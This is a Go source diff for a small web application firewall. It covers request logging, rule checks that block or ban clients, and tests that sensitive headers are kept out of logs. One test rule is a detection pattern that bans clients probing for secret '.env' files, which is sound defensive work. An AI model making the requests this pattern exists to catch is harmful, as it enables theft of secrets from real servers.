+		ASN:         answer.ASN,
+		ASName:      answer.ASName,
+		Country:     answer.Country,
+		Bytes:       rq.countedBytes(),
+	})
+}
+
+// anomalyThresholdsSet reports whether any anomaly threshold is set.
+func anomalyThresholdsSet(cfg *config.Config) bool {
+	off := anomaly.Thresholds{}
+
+	return cfg.AnomalyClient != off || cfg.AnomalyNet != off || cfg.AnomalyASN != off ||
+		cfg.AnomalyTotal != off || cfg.AnomalyWatch != off
+}
+
+// answerAtTheEnd returns, for a client that was looked up, the lookup's
+// answer about it as the request ends, and whether there is one: the
+// lookup database's, which was there at once, or the one GeoJS has given
+// by then, which a request does not wait for unless a setting needs it.
+func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
+	if !rq.lookedUp {
+		return lookup.Answer{}, false
+	}
+
+	if rq.h.config.LookupSource == "file" {
+		return rq.lookupAnswer, true
+	}
+
+	return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
+}
+
+// responseWriter is servewaf's answer to a request. It notes the status and
+// size for the log line, and the first error writing the answer.
+type responseWriter struct {
+	http.ResponseWriter
+
+	// status is the status sent, or zero before one is.
+	status int
+	bytes  int64
+	err    error
+}
+
+// WriteHeader sends the status and headers.
+func (w *responseWriter) WriteHeader(status int) {
+	if w.status == 0 {
+		w.status = status
+	}
+
+	w.ResponseWriter.WriteHeader(status)
+}
+
+// Write sends part of the body.
+func (w *responseWriter) Write(p []byte) (int, error) {
+	if w.status == 0 {
+		w.status = http.StatusOK
+	}
+
+	n, err := w.ResponseWriter.Write(p)
+	w.bytes += int64(n)
+
+	if w.err == nil {
+		w.err = err
+	}
+
+	return n, err
+}

internal/servewaf/requestlog_test.go

@@ -0,0 +1,278 @@
+package servewaf_test
+
+import (
+	"io"
+	"math"
+	"net/http"
+	"reflect"
+	"slices"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+const (
+	// requestIDHeader carries the request's id.
+	requestIDHeader = "X-Request-ID"
+	// instance is the SWWAF_INSTANCE_NAME a test sets.
+	instance = "fsn1app1/gitea"
+	// ipv6Client is a client on IPv6, and ipv6Group the netblock the rate
+	// limits count it as.
+	ipv6Client = "2001:db8::7"
+	ipv6Group  = "2001:db8::/64"
+)
+
+func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
+	t.Parallel()
+
+	received := make(chan string, 2) // the request ids the app received
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		received <- r.Header.Get(requestIDHeader)
+
+		_, _ = io.Copy(io.Discard, r.Body)
+
+		if r.URL.Path != "/full" {
+			w.WriteHeader(http.StatusNoContent)
+
+			return
+		}
+
+		w.WriteHeader(http.StatusFound)
+		_, _ = io.WriteString(w, "moved")
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		trustedProxies:      trustLocalhost,
+		rateLimitExemptNets: localhost,
+		instanceName:        instance,
+		logRequestHeaders:   "Accept,x-custom,Authorization,cookie,SET-COOKIE",
+	})
+
+	// This request comes from ipv6Client through a trusted proxy, with a
+	// body and each header the log line looks at, and is answered with a
+	// redirect.
+	conn := dial(t, addr)
+	send(t, conn, "POST /full HTTP/1.1\r\nHost: "+appHost+"\r\n"+
+		forwardedFor+": 198.51.100.7, "+ipv6Client+"\r\n"+
+		forwardedProto+": "+secure+"\r\n"+requestIDHeader+": from-traefik\r\n"+
+		"Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 3\r\n"+
+		"Accept: text/html\r\nX-Custom: one\r\nX-Custom: two\r\n"+
+		"Authorization: Bearer secret-token\r\nCookie: session=secret-cookie\r\n"+
+		"Set-Cookie: secret-set-cookie\r\n\r\na=b")
+	wantStatus(t, readResponse(t, conn), http.StatusFound)
+
+	// A request's log line can come after its answer: each is waited for
+	// before the next request, so that the lines are in order.
+	full := out.endedLines(t, 1)[0]
+
+	// This one comes from 127.0.0.1, which the rate limits do not count,
+	// with a body of 4 bytes whose length it does not announce, so that its
+	// request_bytes is not its content_length, and no header the log line
+	// looks at, and is answered with 204 and no header.
+	conn = dial(t, addr)
+	send(t, conn, "POST /bare HTTP/1.1\r\nHost: "+appHost+"\r\n"+
+		"Transfer-Encoding: chunked\r\n\r\n4\r\nbody\r\n0\r\n\r\n")
+	wantStatus(t, readResponse(t, conn), http.StatusNoContent)
+
+	bare := out.endedLines(t, 2)[1]
+
+	wantFullLine(t, full)
+	wantBareLine(t, bare)
+
+	for _, line := range []logLine{full, bare} {
+		got := <-received
+		if got != line.RequestID {
+			t.Errorf("the app received request id %q, the log line has %q",
+				got, line.RequestID)
+		}
+	}
+
+	if strings.Contains(out.text(), "secret") {
+		t.Errorf("a value of Authorization, Cookie or Set-Cookie is logged:\n%s",
+			out.text())
+	}
+}
+
+// wantFullLine checks the log line of the request with every header the
+// line looks at. Its timings are checked by TestTimingsAreInOrder.
+func wantFullLine(t *testing.T, line logLine) {
+	t.Helper()
+
+	headers := map[string]string{"accept": "text/html", "x-custom": "one, two"}
+
+	want := withTimings(line, requestlog.Line{
+		Type: requestType, ServeWAFLine: requestlog.ServeWAFLineReport,
+		Time: line.Time, Instance: instance,
+		ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure,
+		Host: appHost, Path: "/full", Protocol: protocol,
+		Status: http.StatusFound, RequestBytes: 3, ResponseBytes: 5,
+		RequestID: line.RequestID, PeerIP: localhost,
+		ForwardedFor: "198.51.100.7, " + ipv6Client, ClientGroup: ipv6Group,
+		ContentType: "application/x-www-form-urlencoded", ContentLength: 3,
+		RequestHeaders: headers, HasAuthorization: true, HasCookie: true,
+		Action: requestlog.ActionForward,
+		// Its 3 bytes in and 5 out, each way counted by default.
+		Counts: ratelimit.Counts{
+			Minute: 1, Hour: 1, Day: 1, MinuteBytes: 8, HourBytes: 8, DayBytes: 8,
+		},
+	})
+	if !reflect.DeepEqual(line.Line, want) || line.RequestID == "from-traefik" {
+		t.Errorf("log line\n%+v\nwant\n%+v, with a new request id", line.Line, want)
+	}
+}
+
+// wantBareLine checks the log line of the request with none of them, and
+// that the fields that do not apply to it are left out.
+func wantBareLine(t *testing.T, line logLine) {
+	t.Helper()
+
+	want := withTimings(line, requestlog.Line{
+		Type: requestType, ServeWAFLine: requestlog.ServeWAFLineReport,
+		Time: line.Time, Instance: instance,
+		ClientIP: localhost, Method: http.MethodPost, Scheme: plain,
+		Host: appHost, Path: "/bare", Protocol: protocol,
+		Status: http.StatusNoContent, RequestBytes: 4, RequestID: line.RequestID,
+		PeerIP: localhost, ClientGroup: localhost + "/32",
+		Action: requestlog.ActionForward,
+	})
+	if !reflect.DeepEqual(line.Line, want) || line.RequestID == "" {
+		t.Errorf("log line\n%+v\nwant\n%+v, with a request id", line.Line, want)
+	}
+
+	for _, name := range []string{
+		"forwarded_for", "content_type", "content_length", "request_headers",
+		"has_authorization", "has_cookie", "response_content_type", "counts",
+	} {
+		_, present := line.fields[name]
+		if present {
+			t.Errorf("log line has %s, which does not apply", name)
+		}
+	}
+}
+
+// withTimings returns want with the timings of line.
+func withTimings(line logLine, want requestlog.Line) requestlog.Line {
+	want.DurationTotal = line.DurationTotal
+	want.DurationChecks = line.DurationChecks
+	want.DurationUpstreamTotal = line.DurationUpstreamTotal
+
+	return want
+}
+
+func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
+	t.Parallel()
+
+	const hasAuthorization, hasCookie = "has_authorization", "has_cookie"
+
+	for _, tc := range []struct{ header, field, other string }{
+		{"Authorization", hasAuthorization, hasCookie},
+		{"Cookie", hasCookie, hasAuthorization},
+	} {
+		t.Run("only "+tc.header, func(t *testing.T) {
+			t.Parallel()
+
+			app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+			addr, out := startProxy(t, app.URL, nil)
+
+			req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+			req.Header.Set(tc.header, "secret")
+			wantStatus(t, do(t, req), http.StatusOK)
+
+			line := out.endedLine(t)
+
+			_, otherPresent := line.fields[tc.other]
+			if line.fields[tc.field] != true || otherPresent {
+				t.Errorf("log line has %s %v and %s %v, want true and none",
+					tc.field, line.fields[tc.field], tc.other, line.fields[tc.other])
+			}
+		})
+	}
+}
+
+func TestTimingsAreInOrder(t *testing.T) {
+	t.Parallel()
+
+	const denied = "192.0.2.50" // in SWWAF_DENY_NETS
+
+	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+		// The pause sets the times apart; a hold-up of the test only lengthens
+		// it.
+		time.Sleep(time.Millisecond)
+
+		_, _ = io.WriteString(w, "done")
+	})
+
+	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, map[string]string{
+		trustedProxies: trustLocalhost,
+		denyNets:       denied,
+	})
+
+	// Each log line is waited for before the next request, so that the
+	// lines are in order.
+	wantStatus(t, get(t, addr, "/"), http.StatusOK)
+	forwarded := out.endedLines(t, 1)[0]
+
+	req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+	req.Header.Set(forwardedFor, denied)
+	wantStatus(t, do(t, req), http.StatusForbidden)
+	refused := out.endedLines(t, 2)[1]
+
+	wantStatus(t, get(t, server.Addr, servewaf.HealthPath), http.StatusOK)
+	health := out.endedLines(t, 3)[2]
+
+	// A request passed to the app has every timing; one refused, none of
+	// the app's; the health check, which runs no check, only the total.
+	wantTimings(t, forwarded, "duration_total", "duration_checks",
+		"duration_upstream_total")
+	wantTimings(t, refused, "duration_total", "duration_checks")
+	wantTimings(t, health, "duration_total")
+
+	if t.Failed() {
+		return
+	}
+
+	// In whole microseconds, as they are logged, so that the sum below is
+	// exact.
+	total := microseconds(forwarded.DurationTotal)
+	checks := microseconds(*forwarded.DurationChecks)
+	upstream := microseconds(*forwarded.DurationUpstreamTotal)
+
+	// The checks end before the request is handed to the app.
+	if checks+upstream > total {
+		t.Errorf("timings in microseconds: total %d, checks %d, upstream total %d",
+			total, checks, upstream)
+	}
+
+	if *refused.DurationChecks > refused.DurationTotal {
+		t.Errorf("refused request's checks took %v of %v milliseconds",
+			*refused.DurationChecks, refused.DurationTotal)
+	}
+}
+
+// wantTimings checks that the timings named are the only ones line has.
+func wantTimings(t *testing.T, line logLine, want ...string) {
+	t.Helper()
+
+	var got []string
+
+	for name := range line.fields {
+		if strings.HasPrefix(name, "duration_") {
+			got = append(got, name)
+		}
+	}
+
+	slices.Sort(got)
+	slices.Sort(want)
+
+	if !slices.Equal(got, want) {
+		t.Errorf("log line of %s has timings %v, want %v", line.Path, got, want)
+	}
+}
+
+// microseconds is a timing in whole microseconds.
+func microseconds(milliseconds float64) int64 {
+	return int64(math.Round(milliseconds * 1000))
+}

internal/servewaf/rulefiles_test.go

@@ -0,0 +1,235 @@
+package servewaf_test
+
+import (
+	"net/http"
+	"net/netip"
+	"os"
+	"path/filepath"
+	"reflect"
+	"slices"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// testRules are the rules most tests here load: a block rule for
+// /blocked and a ban rule for /.env.
+const testRules = `
+blocked  path  block  ^/blocked$
+probe    path  ban    ^/\.env$
+`
+
+func TestEachRuleAction(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server := startWithClock(t, "", map[string]string{
+		rulesDir:    writeRules(t, "noted path log ^/\n"+testRules),
+		banResponse: "429",
+	})
+	start := clk.Now()
+
+	// A log rule notes its match, and lets the request through.
+	line := s.get(client, http.StatusOK, requestlog.ActionForward)
+	wantRuleIDs(t, line, "noted")
+
+	// A block rule refuses with 403, whatever SWWAF_BAN_RESPONSE is, and
+	// bans no one.
+	line = s.request(client, "/blocked", http.StatusForbidden,
+		requestlog.ActionRuleBlocked)
+	wantRuleIDs(t, line, "noted", "blocked")
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	// A ban rule refuses with SWWAF_BAN_RESPONSE, and bans the client for
+	// seven days, the default.
+	line = s.request(client, "/.env", http.StatusTooManyRequests, requestlog.ActionBanned)
+	wantRuleIDs(t, line, "noted", "probe")
+
+	if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
+		t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
+	}
+
+	netblock := netip.MustParsePrefix(client + "/32")
+	want := bans.Ban{
+		Netblock: netblock,
+		Start:    start,
+		Expires:  start.Add(7 * 24 * time.Hour),
+		Cause:    bans.CauseAttack,
+		Reason:   "matched the rule probe",
+		Notes: bans.Notes{
+			RuleID: "probe",
+			Target: "path",
+			Request: bans.Request{
+				Time:      start,
+				Method:    http.MethodGet,
+				Host:      appHost,
+				Path:      "/.env",
+				Status:    http.StatusTooManyRequests,
+				UserAgent: userAgent,
+			},
+			// The four requests up to and including the probe.
+			Requests: 4,
+		},
+	}
+
+	got := server.Ledger.Bans(netblock)
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
+	}
+
+	// The next request is refused under the ban, without being checked
+	// against the rules, and makes the ban permanent.
+	clk.advance(time.Hour)
+
+	line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned)
+	wantRuleIDs(t, line)
+
+	if line.BanExpires != permanent {
+		t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
+	}
+
+	clk.advance(365 * 24 * time.Hour)
+	s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned)
+}
+
+func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startWithClock(t, "", map[string]string{
+		rulesDir:          writeRules(t, testRules),
+		attackBanDuration: "1h",
+	})
+
+	// The first probe bans for SWWAF_ATTACK_BAN_DURATION.
+	line := s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+	if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) {
+		t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
+	}
+
+	// Once that ban has run out without a request, the client is served,
+	// and its next probe bans it for good.
+	clk.advance(time.Hour)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	line = s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+	if line.BanExpires != permanent {
+		t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
+	}
+}
+
+func TestRulesComeAfterTheOtherChecks(t *testing.T) {
+	t.Parallel()
+
+	const (
+		allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
+		exempt  = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
+	)
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		rulesDir:            writeRules(t, testRules),
+		allowNets:           allowed,
+		rateLimitExemptNets: exempt,
+		rateLimitPerMinute:  "1",
+	})
+
+	// A client in SWWAF_ALLOW_NETS is not checked.
+	line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward)
+	wantRuleIDs(t, line)
+
+	// A probe over the rate limit breaks the limit before any rule sees
+	// it.
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+	line = s.request(client, "/.env", http.StatusForbidden, requestlog.ActionRateLimited)
+	wantRuleIDs(t, line)
+
+	limitBan := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
+	if len(limitBan) != 1 || limitBan[0].Cause != bans.CauseLimit {
+		t.Errorf("bans %+v, want one for a broken limit", limitBan)
+	}
+
+	// A client the rate limits do not apply to is still checked.
+	s.get(exempt, http.StatusOK, requestlog.ActionForward)
+	s.request(exempt, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		rulesDir: writeRules(t, testRules),
+		mode:     observe,
+	})
+
+	line := s.request(client, "/blocked", http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionRuleBlocked)
+	wantRuleIDs(t, line, "blocked")
+
+	line = s.request(client, "/.env", http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionBanned)
+	wantRuleIDs(t, line, "probe")
+
+	if line.BanExpires != "" {
+		t.Errorf("log line has ban_expires %q, want none", line.BanExpires)
+	}
+
+	// No ban was made.
+	line = s.get(client, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, "")
+
+	if got := server.Ledger.Snapshot(); len(got) != 0 {
+		t.Errorf("bans %+v, want none", got)
+	}
+}
+
+func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		rulesDir:     writeRules(t, testRules),
+		metricsToken: token,
+	})
+
+	s.request(client, "/blocked", http.StatusForbidden, requestlog.ActionRuleBlocked)
+	s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned)
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	metrics := s.scrape()
+	wantMetric(t, metrics,
+		`smallwebwaf_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, 1)
+	wantMetric(t, metrics,
+		`smallwebwaf_rule_matches_total{action="ban",instance="app",rule_id="probe"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2)
+	wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+
+		`instance="app",status_class="4xx"}`, 1)
+	wantMetric(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="attack"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0)
+	wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
+}
+
+// writeRules writes content as a rule file into a new directory, and
+// returns the directory.
+func writeRules(t *testing.T, content string) string {
+	t.Helper()
+
+	dir := t.TempDir()
+
+	err := os.WriteFile(filepath.Join(dir, "test.rules"), []byte(content), 0o600)
+	if err != nil {
+		t.Fatalf("write the rule file: %v", err)
+	}
+
+	return dir
+}
+
+// wantRuleIDs checks the request log line's rule_ids.
+func wantRuleIDs(t *testing.T, line logLine, want ...string) {
+	t.Helper()
+
+	if !slices.Equal(line.RuleIDs, want) {
+		t.Errorf("log line has rule_ids %v, want %v", line.RuleIDs, want)
+	}
+}

internal/servewaf/rules.go

@@ -0,0 +1,64 @@
+package servewaf
+
+import (
+	"slices"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/rules"
+)
+
+// trapPath reports whether the request asks for a path in
+// SWWAF_TRAP_PATHS: its path as a path rule sees it, without the query,
+// as sent or once percent-decoded, is one of them. Such a request is a
+// clear sign of attack, as a ban rule's match is: it bans the client's
+// netblock, or in observe mode raises the alert for the ban it would have
+// made. The ban's notes give the path as sent.
+func (rq *request) trapPath(now time.Time) bool {
+	path := rules.Path(rq.in)
+	if !slices.Contains(rq.h.config.TrapPaths, path) &&
+		!slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) {
+		return false
+	}
+
+	rq.attack = true
+	rq.banForAttack(now, bans.Notes{TrapPath: path})
+
+	return true
+}
+
+// checkRules checks the request against the rules of the rule files at
+// now, notes the ids of those it matches in the log line, and returns the
+// action of the rule that refuses it, ActionRuleBlocked for a block rule
+// and ActionBanned for a ban rule, or "" when none does. A ban rule bans
+// the client's netblock for a clear sign of attack, or in observe mode
+// raises the alert for the ban it would have made. Either rule's match
+// is noted as an offence, for the client's history.
+func (rq *request) checkRules(now time.Time) string {
+	matched := rq.h.rules.Match(rq.in)
+
+	for _, rule := range matched {
+		rq.line.RuleIDs = append(rq.line.RuleIDs, rule.ID)
+		rq.h.metrics.RuleMatched(rule.ID, rule.Action)
+	}
+
+	if len(matched) == 0 {
+		return ""
+	}
+
+	// Only the last rule matched can refuse the request.
+	switch last := matched[len(matched)-1]; last.Action {
+	case rules.ActionBlock:
+		rq.ruleBlocked = true
+
+		return requestlog.ActionRuleBlocked
+	case rules.ActionBan:
+		rq.attack = true
+		rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target})
+
+		return requestlog.ActionBanned
+	default:
+		return ""
+	}
+}

internal/servewaf/servewaf.go

@@ -0,0 +1,509 @@
+package servewaf
+
+import (
+	"bytes"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"log/slog"
+	"net/http"
+	"net/netip"
+	"strconv"
+	"strings"
+	"time"
+	"unicode/utf8"
+
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The headers of rproxy's question and of servewaf's answer, as
+// "servewaf" in SPEC.md gives them.
+const (
+	// ClientHeader marks a request as rproxy's question, and gives the
+	// visitor's address.
+	ClientHeader = "X-Smallwebwaf-Client"
+	// PeerHeader gives the address of rproxy's own TCP peer.
+	PeerHeader = "X-Smallwebwaf-Peer"
+	// ContentLengthHeader gives the body length the visitor announced.
+	ContentLengthHeader = "X-Smallwebwaf-Content-Length"
+	// DispositionHeader gives servewaf's answer.
+	DispositionHeader = "X-Smallwebwaf-Disposition"
+)
+
+// The values of DispositionHeader.
+const (
+	// DispositionAllow tells rproxy to pass the request to the app.
+	DispositionAllow = "allow"
+	// DispositionDeny tells rproxy to give the visitor the answer's status,
+	// headers and body.
+	DispositionDeny = "deny"
+	// DispositionClose tells rproxy to close the visitor's connection
+	// without an answer, which SWWAF_BAN_RESPONSE asks for when it is close.
+	// servewaf closing the question's connection instead would read as
+	// servewaf being down, and rproxy would then let the request through.
+	DispositionClose = "close"
+)
+
+// ReportPath is where rproxy sends the report of each request servewaf
+// answered.
+const ReportPath = "/_smallwebwaf/report"
+
+// QuestionBodyMaxBytes is the most of a visitor's body a question carries.
+const QuestionBodyMaxBytes = 64 << 10
+
+// The header limits: the most cookies and header fields a request may have
+// when the checks reach the Core Rule Set. Real clients never reach them.
+const (
+	maxCookies      = 50
+	maxHeaderFields = 100
+)
+
+const (
+	// maxAwaitingReport is the most answered requests held until their
+	// reports come. Past it, the request answered longest ago is dropped.
+	maxAwaitingReport = 10000
+	// maxRequestIDBytes is the longest id a question may give.
+	maxRequestIDBytes = 128
+	// reportBodyMaxBytes is the most of a report's body that is read. It is
+	// far above any report's.
+	reportBodyMaxBytes = 1 << 20
+	// maxHTTPStatus is the highest status a report may give.
+	maxHTTPStatus = 599
+	// maxReportedBytes is the most bytes a report may give for each way, 1
+	// PiB, so that adding them up cannot overflow.
+	maxReportedBytes = 1 << 50
+	// maxReportedMilliseconds is the longest duration a report may give,
+	// about 31 years, so that it fits a time.Duration.
+	maxReportedMilliseconds = 1e12
+	// serveWAFTimeout bounds how long a request to servewaf takes to arrive,
+	// and its answer to leave, and serveWAFIdleTimeout how long a kept-open
+	// connection waits for its next request.
+	serveWAFTimeout     = 60 * time.Second
+	serveWAFIdleTimeout = 120 * time.Second
+)
+
+var (
+	errReportFieldMissing = errors.New("a field is missing")
+	errReportValue        = errors.New("a value is out of range")
+)
+
+// Report is the JSON object rproxy posts to ReportPath once the visitor's
+// answer has ended, its fields named as the request log's of the same
+// meaning. RequestID is the question's id. Status is what the visitor got, 0
+// if nothing. The durations are in milliseconds.
+//
+//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
+type Report struct {
+	RequestID             string  `json:"request_id"`
+	Status                int     `json:"status"`
+	RequestBytes          int64   `json:"request_bytes"`
+	ResponseBytes         int64   `json:"response_bytes"`
+	DurationTotal         float64 `json:"duration_total"`
+	DurationUpstreamTotal float64 `json:"duration_upstream_total"`
+}
+
+// New returns the server `smallwebwaf servewaf` runs. It answers
+// rproxy's questions, takes rproxy's reports and answers its own endpoints. It
+// passes nothing to an app. rproxy applies the size and time limits to the
+// visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it
+// is far above rproxy's, and a question refused for its size would have rproxy
+// let the request through.
+func New(params Params) *Server {
+	h := newHandler(params)
+
+	return &Server{
+		Server: &http.Server{
+			Addr:         params.Config.ListenAddr,
+			Handler:      h,
+			ErrorLog:     slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn),
+			ReadTimeout:  serveWAFTimeout,
+			WriteTimeout: serveWAFTimeout,
+			IdleTimeout:  serveWAFIdleTimeout,
+		},
+		Ledger:     h.ledger,
+		Limiter:    h.limiter,
+		GeoJS:      h.geojs,
+		Anomalies:  h.anomalies,
+		LookupFile: h.lookupFile,
+		Lists:      h.lists,
+		DNSBL:      h.dnsbl,
+		AbuseIPDB:  h.abuseIPDB,
+		Metrics:    h.metrics,
+	}
+}
+
+// ServeHTTP handles one request to servewaf: a request carrying ClientHeader is
+// rproxy's question, and any other is for servewaf itself.
+func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
+	if len(r.Header.Values(ClientHeader)) > 0 {
+		h.answerQuestion(w, r)
+
+		return
+	}
+
+	h.answerOwnEndpoint(w, r)
+}
+
+// refusedWhateverTheAnswer reports whether the request is one that does not wait
+// for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
+// its client: it is over the header limits, a blocklist lists its client while
+// SWWAF_BLOCKLIST_ACTION is deny, the CrowdSec decision list lists it, or it is
+// over a whole rate limit. In observe mode, which refuses nothing, none is.
+// rproxy lets a request through when servewaf answers too late.
+func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
+	if rq.h.config.Observe {
+		return false
+	}
+
+	lists := rq.h.lists
+	_, decided := lists.CrowdSecDecision(rq.client, now)
+
+	return decided || rq.overHeaderLimits() ||
+		(rq.h.config.BlocklistAction == deny && len(lists.ListedBy(rq.client)) > 0) ||
+		(rq.countedByRateLimits() &&
+			rq.h.limiter.OverARateLimit(rq.h.clientGroup(rq.client), now))
+}
+
+// overHeaderLimits reports whether servewaf refuses the request for its
+// headers: it has more than maxHeaderFields fields, each value of a header sent
+// twice being one, or more than maxCookies cookies, each part of a Cookie header
+// between semicolons being one unless it is empty or only spaces and tabs. The
+// Core Rule Set runs each of its rules on each cookie, so that thousands of small
+// cookies keep it busy for over a second. It trims only spaces and control
+// characters, of which a header value can hold only tabs, so a part of Unicode
+// spaces is a cookie to it.
+func (rq *request) overHeaderLimits() bool {
+	fields, cookies := 0, 0
+
+	for _, values := range rq.in.Header {
+		fields += len(values)
+	}
+
+	for _, value := range rq.in.Header.Values("Cookie") {
+		for part := range strings.SplitSeq(value, ";") {
+			if strings.Trim(part, " \t") != "" {
+				cookies++
+			}
+		}
+	}
+
+	return fields > maxHeaderFields || cookies > maxCookies
+}
+
+// answerQuestion runs the checks on the visitor's request a question
+// carries, and answers rproxy what to do with it. A denied request's counting
+// is finished here, and an allowed one's by its report.
+func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
+	client, body, ok := h.readQuestion(w, r)
+	if !ok {
+		return
+	}
+
+	// One that cannot be read leaves the log line's peer_ip invalid.
+	peer, _ := netip.ParseAddr(r.Header.Get(PeerHeader))
+
+	rq := h.startRequest(w, asTheVisitorSentIt(r, body), client.Unmap(), peer.Unmap(),
+		true)
+	// The last deferred runs first, so that what is held has the finished log
+	// line. Go's server sends the answer only once this function has
+	// returned, so the report cannot come before it is held.
+	defer rq.holdForReport()
+	defer rq.finish()
+
+	rq.site = r.Host
+	rq.line.ServeWAFLine = requestlog.ServeWAFLineDecision
+	refused := rq.check(r.Context())
+	rq.checked = time.Now()
+	underOwnPrefix := strings.HasPrefix(r.URL.Path, adminPrefix)
+
+	if refused == nil && !underOwnPrefix {
+		// In observe mode, what enforce mode would have refused counts here.
+		defer rq.countRefusal()
+
+		rq.allow()
+
+		return
+	}
+
+	// The last deferred runs first: countRefusal before addToHistory, so that a
+	// broken error burst is in the client's history.
+	defer rq.addToHistory()
+	defer rq.countAnomalies()
+	defer rq.countRefusal()
+
+	if refused != nil {
+		rq.deny(*refused)
+
+		return
+	}
+
+	// The app never sees this prefix. servewaf's own endpoints are at its
+	// own address, so this answers as a path with no endpoint does.
+	rq.line.Action = requestlog.ActionAdmin
+	rq.out.Header().Set(DispositionHeader, DispositionDeny)
+	http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
+}
+
+// readQuestion returns the visitor's address and the body a question carries,
+// and whether servewaf takes the question. It answers a question it does not
+// take with 400 and no disposition, which rproxy treats as it treats no
+// answer. The id of a question it takes is held from here on, without a
+// decision yet, so that another question with that id is refused while this
+// one is being handled.
+//
+// The body is read before any check, since Go's server does not send an answer
+// until it has read the body. A question whose body stops arriving gets no
+// answer, and is not looked at.
+func (h *handler) readQuestion(
+	w http.ResponseWriter, r *http.Request,
+) (netip.Addr, []byte, bool) {
+	client, err := netip.ParseAddr(r.Header.Get(ClientHeader))
+	if err != nil || client.Zone() != "" {
+		h.refuseQuestion(w, ClientHeader+" is not an address without a zone")
+
+		return netip.Addr{}, nil, false
+	}
+
+	id := r.Header.Get(requestIDHeader)
+	if id == "" || len(id) > maxRequestIDBytes || !utf8.ValidString(id) {
+		h.refuseQuestion(w, requestIDHeader+" is not a valid id")
+
+		return netip.Addr{}, nil, false
+	}
+
+	body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, QuestionBodyMaxBytes))
+
+	if _, tooLarge := errors.AsType[*http.MaxBytesError](err); tooLarge {
+		h.refuseQuestion(w, "the body is over 64 KiB")
+
+		return netip.Addr{}, nil, false
+	}
+
+	if err != nil {
+		h.processLog.Warn("a question's body stopped arriving", "error", err.Error())
+		// This panic has Go's server close the connection without an answer,
+		// and log nothing.
+		panic(http.ErrAbortHandler)
+	}
+
